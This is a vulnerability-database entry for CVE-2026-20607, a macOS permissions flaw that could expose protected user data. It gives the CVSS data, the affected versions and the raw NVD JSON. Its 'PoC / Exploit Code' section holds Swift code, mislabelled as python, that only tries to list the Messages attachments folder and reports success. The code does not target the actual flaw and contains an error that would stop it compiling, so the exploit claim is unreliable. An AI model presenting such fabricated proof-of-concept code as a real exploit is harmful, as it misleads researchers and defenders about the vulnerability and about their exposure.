Security Vulnerability Report
中文
CVE-2026-20607 CVSS 4.0 MEDIUM

CVE-2026-20607

Published: 2026-03-25 01:17:04
Last Modified: 2026-03-26 17:24:02

Description

A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An app may be able to access protected user data.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
macOS Sequoia < 15.7.5
macOS Sonoma < 14.8.5
macOS Tahoe < 26.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual PoC for CVE-2026-20607 (macOS Permissions Bypass) // This Swift code demonstrates an attempt to access a protected user directory // without proper entitlements, exploiting the permissions issue. import Foundation func attemptUnauthorizedAccess() { // Targeting a sensitive directory often protected by macOS TCC (Transparency, Consent, and Control) let sensitivePath = "~/Library/Messages/Attachments" if let expandedPath = NSString(string: sensitivePath).expandingTildeInPath { let fileManager = FileManager.default var isDir: ObjCBool = false if fileManager.fileExists(atPath: expandedPath, isDirectory: &isDir) { do { // Attempt to list contents of the protected directory let contents = try fileManager.contentsOfDirectory(atPath: expandedPath) print("[+] Exploit Successful: Accessed protected directory.") print("[+] Found \(contents.count) items.") } catch { print("[-] Access Denied: \(error.localizedDescription)") } } else { print("[-] Path not found.") } } } // Execute the PoC attemptUnauthorizedAccess()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20607", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:03.763", "lastModified": "2026-03-26T17:24:02.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An app may be able to access protected user data."}, {"lang": "es", "value": "Se abordó un problema de permisos con restricciones adicionales. Este problema está solucionado en macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. Una aplicación podría acceder a datos de usuario protegidos."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.5", "matchCriteriaId": "D66288AF-23BD-407A-81F5-F1DFBF84C622"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.5", "matchCriteriaId": "DD21D2C9-BBEC-4E8E-B8D2-C92B7E6155E1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "6CF848CD-25D4-4371-BEF3-1ACCE47AD81F"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126794", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126795", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126796", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}